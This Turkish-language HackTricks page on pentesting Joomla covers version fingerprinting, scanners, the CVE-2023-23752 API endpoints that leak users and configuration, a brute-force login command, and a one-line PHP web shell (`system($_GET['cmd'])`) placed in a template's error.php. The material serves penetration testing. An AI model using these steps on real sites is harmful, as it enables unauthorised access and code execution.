hacktricks/network-services-pentesting/pentesting-web/joomla.md

131 lines
5.8 KiB
Markdown
Raw Normal View History

2022-10-02 23:08:05 +00:00
# Joomla
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>HackTricks'i Destekleyin</summary>
2022-04-28 16:01:33 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
### Joomla İstatistikleri
2022-10-02 23:08:05 +00:00
Joomla, Joomla kurulumlarında kullanılan Joomla, PHP ve veritabanı sürümleri ile sunucu işletim sistemlerinin dağılımı gibi bazı anonim [kullanım istatistiklerini](https://developer.joomla.org/about/stats.html) toplar. Bu veriler, kamuya açık [API'leri](https://developer.joomla.org/about/stats/api.html) aracılığıyla sorgulanabilir.
2022-10-02 23:08:05 +00:00
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
2024-02-10 18:14:16 +00:00
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
2022-10-02 23:08:05 +00:00
}
```
## Enumeration
2022-10-02 23:08:05 +00:00
### Discovery/Footprinting
2022-10-02 23:08:05 +00:00
* **meta**'yı kontrol et
2022-10-02 23:08:05 +00:00
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
* robots.txt
2022-10-02 23:08:05 +00:00
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
```
* README.txt
```
1- What is this?
2024-02-10 18:14:16 +00:00
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
2022-10-02 23:08:05 +00:00
```
### Versiyon
* **/administrator/manifests/files/joomla.xml** dosyasında versiyonu görebilirsiniz.
* **/language/en-GB/en-GB.xml** dosyasında Joomla'nın versiyonunu alabilirsiniz.
* **plugins/system/cache/cache.xml** dosyasında yaklaşık bir versiyonu görebilirsiniz.
2022-10-02 23:08:05 +00:00
### Otomatik
2022-10-02 23:08:05 +00:00
```bash
droopescan scan joomla --url http://joomla-site.local/
```
In[ **80,443 - Pentesting Web Methodology, Joomla'yı tarayabilen CMS tarayıcıları hakkında bir bölümdür**](./#cms-scanners).
### API Kimlik Doğrulaması Olmadan Bilgi Sızdırma:
4.0.0 ile 4.2.7 arasındaki sürümler, kimlik doğrulaması olmadan bilgi sızdırma (CVE-2023-23752) açığına sahiptir ve bu, kimlik bilgilerini ve diğer bilgileri dökebilir.
* Kullanıcılar: `http://<host>/api/v1/users?public=true`
* Konfigürasyon Dosyası: `http://<host>/api/index.php/v1/config/application?public=true`
**MSF Modülü**: `scanner/http/joomla_api_improper_access_checks` veya ruby script: [51334](https://www.exploit-db.com/exploits/51334)
2022-04-28 16:01:33 +00:00
### Kaba Kuvvet
Giriş bilgilerini kaba kuvvetle denemek için bu [script](https://github.com/ajnik/joomla-bruteforce)'i kullanabilirsiniz.
2022-10-02 23:08:05 +00:00
```shell-session
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
2024-02-10 18:14:16 +00:00
2022-10-02 23:08:05 +00:00
admin:admin
```
## RCE
2022-04-28 16:01:33 +00:00
Eğer **admin kimlik bilgilerini** elde etmeyi başardıysanız, **RCE elde etmek için** içine bir **PHP kodu** parçası ekleyerek **RCE** yapabilirsiniz. Bunu **şablonu özelleştirerek** yapabiliriz.
2022-04-28 16:01:33 +00:00
1. **Aşağıda `Configuration` altında** **`Templates`** üzerine **tıklayın** ve şablonlar menüsünü açın.
2. Bir **şablon** adına **tıklayın**. `Template` sütun başlığı altında **`protostar`**'ı seçelim. Bu, bizi **`Templates: Customise`** sayfasına götürecek.
3. Son olarak, **sayfa kaynağını** açmak için bir sayfaya tıklayabilirsiniz. **`error.php`** sayfasını seçelim. **Kod yürütmek için bir PHP tek satır ekleyeceğiz**:
1. **`system($_GET['cmd']);`**
2024-02-10 18:14:16 +00:00
4. **Kaydet ve Kapat**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}